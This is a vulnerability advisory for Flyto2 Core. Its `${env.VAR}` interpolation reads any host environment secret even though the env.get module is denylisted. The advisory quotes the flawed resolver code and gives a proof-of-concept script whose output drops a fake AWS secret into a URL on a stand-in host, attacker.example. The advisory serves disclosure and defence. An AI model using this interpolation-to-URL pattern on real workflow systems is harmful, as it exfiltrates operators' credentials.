CVE-2026-67427
## Summary The capability policy denies the `env.get` and `env.load_dotenv` modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands `${env.VAR}` for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module. ## Affected code `src/core/engine/variable_resolver.py`: ```python if var_type == 'env': if len(parts) < 2: return None env_var = parts[1] return os.getenv(env_var) # any env var, no allowlist, not covered by module policy ``` The module policy (`enforce_module_policy` in `module_policy.py`) gates module execution at `BaseModule.run`, but `${...}` interpolation happens earlier in the engine and is not subject to it. So denylisting `env.get` does not actually stop a workflow from reading host env secrets. ## Reproduction Save as `envbypass_poc.py`, run with `PYTHONPATH=src/src python envbypass_poc.py`. ```python #!/usr/bin/env python3 import os os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK" from core.module_policy import module_filter from core.engine.variable_resolver import VariableResolver print("env.get allowed? ", module_filter.is_allowed("env.get")) r = VariableResolver(params={}, context={}) print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}")) print("into an attacker URL: ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}")) ``` Output: ``` env.get allowed? False resolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK into an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK ``` `env.get` is denied, yet `${env.AWS_SECRET_ACCESS_KEY}` reads the same secret and drops it straight into a URL.
Properties
- severity
- high
- summary
- Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted
- epss_score
- 0.00359
- cvss_score
- 8.6
- ghsa_published
- 2026-07-30T14:47:01Z
- source_url
- https://github.com/advisories/GHSA-hr7p-wg7r-hg9m
- ghsa_updated
- 2026-07-30T14:47:03Z
- ghsa_id
- GHSA-hr7p-wg7r-hg9m
- cve_id
- CVE-2026-67427
- cvss_vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- signal_observed_at
- 2026-09-11T17:55:57+00:00
- is_ghsa_only
- false
- epss_percentile
- 0.29238
Related Entities (7)
ENRICHED_BY (1)
VULNERABLE_TO (1)
AFFECTS (1)
HAS_WEAKNESS (3)
REPORTED_BY (1)
Explore deeper with Ninja Signal's threat intelligence graph